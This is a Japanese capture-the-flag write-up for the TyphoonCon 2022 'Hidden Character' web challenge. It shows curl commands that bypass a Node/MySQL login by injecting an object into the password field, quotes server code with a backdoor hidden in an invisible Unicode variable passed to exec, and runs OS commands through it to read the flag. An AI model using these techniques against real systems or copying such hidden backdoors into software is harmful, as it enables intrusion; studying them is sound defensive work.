Rating: 4.5

# Hidden Character:Web:200pts
It takes one character [ ] to show you that the path to salvation
And it takes a hidden character to lead you to the flag
[https://typhooncon-hiddencharacter.chals.io/](https://typhooncon-hiddencharacter.chals.io/)
Flag format: SSD{...}

# Solution
URLのみが渡される。
アクセスするとログインフォームのようだ。
Login Form with [password]
[site1.png](site/site1.png)
dirbや特殊文字でのログインを試みるも成果がない。
問題文に書かれている[ ]とページタイトルをヒントだと考え、以下のように配列をPOSTしてみる。
```bash
$ curl -X POST https://typhooncon-hiddencharacter.chals.io/auth -d "username=admin&password[password]=password"
Incorrect Username and/or Password!
$ curl -X POST https://typhooncon-hiddencharacter.chals.io/auth -d "username=admin&password[a]=password"
error: Error: ER_BAD_FIELD_ERROR: Unknown column 'a' in 'where clause'
```
`password[a]`で謎のエラーが発生した。
カラムがおかしいといわれているので、存在しそうな`id`で試す。
```bash
$ curl -X POST https://typhooncon-hiddencharacter.chals.io/auth -d "username=admin&password[id]=passwod"
Found. Redirecting to /home
```
なぜかログインに成功した。
同様にブラウザのリクエストを配列にすると、リダイレクトされ以下のソースコードが表示された。
/home
[site2.png](site/site2.png)
ログイン処理を見ると、[ここ](https://blog.flatt.tech/entry/node_mysql_sqlinjection)で解説されているSQLiが発生していたようだ。
隠し機能として、`/home`の応答ヘッダの`PortaSulRetro`を叩くと疎通確認が行える箇所がみられる。
```js
~~~
app.get("/home", function (request, response) {
if (request.session.loggedin) {
var options = { headers: { 'PortaSulRetro': portasulretro } };

response.sendFile(path.join(__dirname + "/login.js"), options);
} else {
response.send("Please login to view this page!");
response.end();
}
});

// Check whether we can reach google.com and example.com
app.get(`/${portasulretro}`, async (req, res) => {
const { timeout,ㅤ} = req.query;
const checkCommands = [
'ping -c 1 google.com',
'curl -s http://example.com/',ㅤ
];

try {
const outcomes = await Promise.all(checkCommands.map(cmd =>
cmd && exec(cmd, { timeout: +timeout || 5_000 })));

res.status(200).contentType('text/plain');

var outcomeStdout = '';
for(i = 0; outcome = outcomes[i]; i ++) {
outcomeStdout += `"${checkCommands[i]}": `;
outcomeStdout += "\n\n";
outcomeStdout += outcome.stdout.trim();
outcomeStdout += "\n\n";
};
res.send(`outcome ok:\n${outcomeStdout}`);
} catch(e) {
res.status(500);
res.send(`outcome failed: ${e}`);
}
});
~~~
```
OSコマンドを実行しているため脆弱性がありそうだ。
注意深く見ると`const { timeout,ㅤ} = req.query;`が不自然な文字を含んでいることがわかる。
他に同種の文字を探すと、`'curl -s http://example.com/',ㅤ`の行末部分にもみられる。
JavaScriptは変数としてASCII以外も指定でき、今回はこの不自然な文字が変数として扱われている。
この部分は`exec`で実行されるため、コマンドを指定してやることで任意の操作が行えることとなる。
不自然な文字をパーセントエンコーディングすると`%E3%85%A4`となったので、以下のように順を追ってクエリからOSコマンドを実行する。
初めにログインし、隠し機能のパスを取得する。
```bash
$ curl -X POST https://typhooncon-hiddencharacter.chals.io/auth -d "username=admin&password[id]=psasswod" -v
~~~
< Set-Cookie: connect.sid=s%3AdoQGC_FVzNhVZys6b49p_Jnd__UyU_5-.W2C1Ig%2Fj0Ja4zX61iI9gb0T7KTuyHMEO0xkAAxdDhCk; Path=/; HttpOnly
~~~
$ curl https://typhooncon-hiddencharacter.chals.io/home -H "Cookie: connect.sid=s%3AdoQGC_FVzNhVZys6b49p_Jnd__UyU_5-.W2C1Ig%2Fj0Ja4zX61iI9gb0T7KTuyHMEO0xkAAxdDhCk" -v
~~~
< PortaSulRetro: 0e0412857621a454
~~~
```
クエリを`?%E3%85%A4=cmd`とし、変数に実行したいコマンドを与える。
```bash
$ curl https://typhooncon-hiddencharacter.chals.io/0e0412857621a454?%E3%85%A4=ls -H "Cookie: connect.sid=s%3AdoQGC_FVzNhVZys6b49p_Jnd__UyU_5-.W2C1Ig%2Fj0Ja4zX61iI9gb0T7KTuyHMEO0xkAAxdDhCk"
~~~
"ls":

Dockerfile
flag
login.html
login.js
login.sql
node_modules
package-lock.json
package.json
run.sh

$ curl https://typhooncon-hiddencharacter.chals.io/0e0412857621a454?%E3%85%A4=cat%20flag -H "Cookie: connect.sid=s%3AdoQGC_FVzNhVZys6b49p_Jnd__UyU_5-.W2C1Ig%2Fj0Ja4zX61iI9gb0T7KTuyHMEO0xkAAxdDhCk"
~~~
"cat flag":

SSD{bfee01bf8ca5f1766fb91b3b4a0533614da92beb}

```
ファイルからflagが読み取れた。

## SSD{bfee01bf8ca5f1766fb91b3b4a0533614da92beb}

Original writeup (https://github.com/satoki/ctf_writeups/tree/master/TyphoonCon_CTF_2022/Hidden_Character).